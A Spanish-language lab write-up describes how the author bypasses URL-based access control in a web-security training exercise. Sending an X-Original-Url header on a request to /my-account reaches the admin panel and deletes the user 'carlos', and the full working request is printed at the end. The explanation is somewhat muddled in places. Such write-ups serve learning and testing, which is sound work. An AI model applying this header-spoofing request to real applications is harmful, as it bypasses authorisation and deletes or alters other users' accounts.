🐴Laboratorio: el control de acceso basado en URL se puede eludir

Interceptamos con burp y vemos que solicitud podemos tomar para modificar el encabezado de solicitud HTTP.

Aqui tenemos el test que hicimos directamente con el GET de /admin e intentamos añadir el encabezado X-Original-URL
: /admin sin embargo nos devolvió el 403 de prohibido acceder “Acces denied”, pero intentandolo con la URL de GET /my-account añadimos el encabezado y efectivamente se reflejo el resultado mostrando el admin panel con las opciones de eliminar users. adjunto imagen →

Damos un show response in browser para ver:

Eliminamos al user Carlos ->

¿Por qué nos trae un error? basicamente porque esa url de ahi es diferente a la URL que nosotros anulamos la cual era /admin
y esta es /admin/delete?username=carlos
por ende nos va a traer un error de denied, entonces para ello la solución consiste en añadir el otro header X-Rewrite-Url
y pasarle el endpoint de eliminación.

A esta petición le añadimos el X-Original-Url y hacemos todo lo anterior de añadir /admin, luego de eso añadimos el otro encabezado →
X-Original-Url: /admin/delete?username=carlos

Con eso lo que hacemos es, añadir el ?username=admin en la URL de my-account?username=admin

Aqui llega lo curioso, luego de esto si seguimos la redirección nos dirige a un “Acess Denied” con eso queda claro que por ahí no es, lo que hicé fue cambiar la ubicación del X-Original-Url: /admin/delete?username=carlos
de primero para que automaticamente sea la primera URL que omita y el usuario pueda ser eliminado desde admin, cambiandolo esto fue la response renderizada:

Dice User eliminado Exitosamente, con esto ya queda claro que lo eliminamos aunque le doy en show response browser no me muestra nada sin embargo, de tanto probar, luego fui a la pagina del LAB y aparecía SOLVED! ✅


Laboratorio resuelto exitosamente.
Request del laboratorio:
GET /my-account?username=admin HTTP/2
Host: 0a8100a10385c62782a4a1270079006e.web-security-academy.net
X-Original-Url: /admin/delete?username=carlos
X-Original-Url: /admin
Cookie: session=gHpM9ZfnKyHyLFvevWNTnAmKGBvJfkCh
Sec-Ch-Ua: "Not_A Brand";v="8", "Chromium";v="120", "Google Chrome";v="120"
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Sec-Ch-Ua-Platform: "macOS"
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Purpose: prefetch
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: empty
Referer: https://0a8100a10385c62782a4a1270079006e.web-security-academy.net/
Accept-Encoding: gzip, deflate, br
Accept-Language: es-419,es;q=0.9
Eso es todo, si llegaste hasta aquí y entendiste el laboratorio pues te felicito, sin más que decir gracias por leerme hasta la próxima :)
Last updated